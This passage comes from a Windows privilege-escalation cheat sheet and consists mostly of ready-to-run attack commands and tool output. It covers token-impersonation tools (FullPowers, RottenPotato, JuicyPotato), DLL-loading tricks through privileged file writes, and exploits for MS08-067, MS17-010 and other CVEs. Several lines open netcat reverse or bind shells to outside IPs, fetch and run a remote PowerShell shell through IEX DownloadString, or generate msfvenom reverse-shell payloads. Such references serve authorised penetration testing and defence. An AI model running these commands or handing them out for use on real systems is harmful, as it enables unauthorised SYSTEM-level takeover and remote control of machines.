Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. | |`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`
2. `icalcs.exe "%windir%\system32" /grant "%username%":F`
3. Rename cmd.exe to utilman.exe
4. Lock the console and press Win+U| Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. | |`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.

To be verified. || ### Restore A Service Account's Privileges > This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only. ```powershell # https://github.com/itm4n/FullPowers c:\TOOLS>FullPowers [+] Started dummy thread with id 9976 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z ``` ### Meterpreter getsystem and alternatives ```powershell meterpreter> getsystem Tokenvator.exe getsystem cmd.exe incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe psexec -s -i cmd.exe python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc ``` ### RottenPotato (Token Impersonation) Binary available at : https://github.com/foxglovesec/RottenPotato Binary available at : https://github.com/breenmachine/RottenPotatoNG ```c getuid getprivs use incognito list\_tokens -u cd c:\temp\ execute -Hc -f ./rot.exe impersonate\_token "NT AUTHORITY\SYSTEM" ``` ```powershell Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser" Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM" Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};" ``` ### Juicy Potato (abusing the golden privileges) Binary available at : https://github.com/ohpe/juicy-potato/releases :warning: Juicy Potato doesn't work on Windows Server 2019 and Windows 10 1809 +. 1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication) ```powershell whoami /priv ``` 2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object * [Windows 7 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise) * [Windows 8.1 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_8.1_Enterprise) * [Windows 10 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise) * [Windows 10 Professional](https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro) * [Windows Server 2008 R2 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise) * [Windows Server 2012 Datacenter](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter) * [Windows Server 2016 Standard](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard) 3. Execute JuicyPotato to run a privileged command. ```powershell JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7} JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe" Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 ...... [+] authresult 0 {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK ``` ## EoP - Privileged File Write ### DiagHub :warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs. The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM. This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the `C:\Windows\System32` directory. #### Exploit 1. Create an [evil DLL](https://gist.github.com/xct/3949f3f4f178b1f3427fae7686a2a9c0) e.g: payload.dll and move it into `C:\Windows\System32` 2. Build https://github.com/xct/diaghub 3. `diaghub.exe c:\\ProgramData\\ payload.dll` The default payload will run `C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe` Alternative tools: * https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag * https://github.com/decoder-it/diaghub_exploit ### UsoDLLLoader :warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview. > An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo) If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of `windowscoredeviceinfo.dll` into `C:\Windows\Sytem32\` and then have it loaded by the USO service to get arbitrary code execution as **NT AUTHORITY\System**. #### Exploit 1. Build https://github.com/itm4n/UsoDllLoader * Select Release config and x64 architecure. * Build solution. * DLL .\x64\Release\WindowsCoreDeviceInfo.dll * Loader .\x64\Release\UsoDllLoader.exe. 2. Copy `WindowsCoreDeviceInfo.dll` to `C:\Windows\System32\` 3. Use the loader and wait for the shell or run `usoclient StartInteractiveScan` and connect to the bind shell on port 1337. ### WerTrigger > Weaponizing for privileged file writes bugs with Windows problem reporting 1. Clone https://github.com/sailay1996/WerTrigger 2. Copy `phoneinfo.dll` to `C:\Windows\System32\` 3. Place `Report.wer` file and `WerTrigger.exe` in a same directory. 4. Then, run `WerTrigger.exe`. 5. Enjoy a shell as **NT AUTHORITY\SYSTEM** ## EoP - Common Vulnerabilities and Exposure ### MS08-067 (NetAPI) Check the vulnerability with the following nmap script. ```c nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 ``` Metasploit modules to exploit `MS08-067 NetAPI`. ```powershell exploit/windows/smb/ms08_067_netapi ``` If you can't use Metasploit and only want a reverse shell. ```powershell https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445 Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used) Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX) Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX) Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX) python ms08-067.py 10.0.0.1 6 445 ``` ### MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7 'KiTrap0D' User Mode to Ring Escalation (MS10-015) ```powershell https://www.exploit-db.com/exploits/11199 Metasploit : exploit/windows/local/ms10_015_kitrap0d ``` ### MS11-080 (afd.sys) - Microsoft Windows XP/2003 ```powershell Python: https://www.exploit-db.com/exploits/18176 Metasploit: exploit/windows/local/ms11_080_afdjoinleaf ``` ### MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012 ```powershell printf("[#] usage: ms15-051 command \n"); printf("[#] eg: ms15-051 \"whoami /all\" \n"); # x32 https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe # x64 https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051 use exploit/windows/local/ms15_051_client_copy_image ``` ### MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) Check if the patch is installed : `wmic qfe list | findstr "3139914"` ```powershell Powershell: https://www.exploit-db.com/exploits/39719/ https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 Binary exe : https://github.com/Meatballs1/ms16-032 Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc ``` ### MS17-010 (Eternal Blue) Check the vulnerability with the following nmap script. ```c nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 ``` Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`. ```powershell auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution ``` If you can't use Metasploit and only want a reverse shell. ```powershell git clone https://github.com/helviojunior/MS17-010 # generate a simple reverse shell to use msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe python2 send_and_execute.py 10.0.0.1 revshell.exe ``` ### CVE-2019-1388 Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html Working on : - Windows 7 - Windows 10 LTSC 10240 Failing on : - LTSC 2019 - 1709 - 1803 Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege ## References * [Windows Internals Book - 02/07/2017](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals) * [icacls - Docs Microsoft](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls) * [Privilege Escalation Windows - Philip Linghammar](https://xapax.gitbooks.io/security/content/privilege_escalation_windows.html) * [Windows elevation of privileges - Guifre Ruiz](https://guif.re/windowseop) * [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/) * [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) * [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html) * [TOP–10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/) * [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/) * [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) * [Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs](https://github.com/dostoevskylabs/dostoevsky-pentest-notes/blob/master/chapter-4.md) * [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/) * [Pentestlab.blog - WPE-01 - Stored Credentials](https://pentestlab.blog/2017/04/19/stored-credentials/) * [Pentestlab.blog - WPE-02 - Windows Kernel](https://pentestlab.blog/2017/04/24/windows-kernel-exploits/) * [Pentestlab.blog - WPE-03 - DLL Injection](https://pentestlab.blog/2017/04/04/dll-injection/) * [Pentestlab.blog - WPE-04 - Weak Service Permissions](https://pentestlab.blog/2017/03/30/weak-service-permissions/) * [Pentestlab.blog - WPE-05 - DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/) * [Pentestlab.blog - WPE-06 - Hot Potato](https://pentestlab.blog/2017/04/13/hot-potato/) * [Pentestlab.blog - WPE-07 - Group Policy Preferences](https://pentestlab.blog/2017/03/20/group-policy-preferences/) * [Pentestlab.blog - WPE-08 - Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/) * [Pentestlab.blog - WPE-09 - Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/) * [Pentestlab.blog - WPE-10 - Token Manipulation](https://pentestlab.blog/2017/04/03/token-manipulation/) * [Pentestlab.blog - WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/) * [Pentestlab.blog - WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/) * [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/) * [Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @_xpn_](https://blog.xpnsec.com/becoming-system/) * [Living Off The Land Binaries and Scripts (and now also Libraries)](https://github.com/LOLBAS-Project/LOLBAS) * [Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec](https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html) * [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf) * [Abusing Diaghub - xct - March 07, 2019](https://vulndev.io/howto/2019/03/07/diaghub.html) * [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html) * [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/)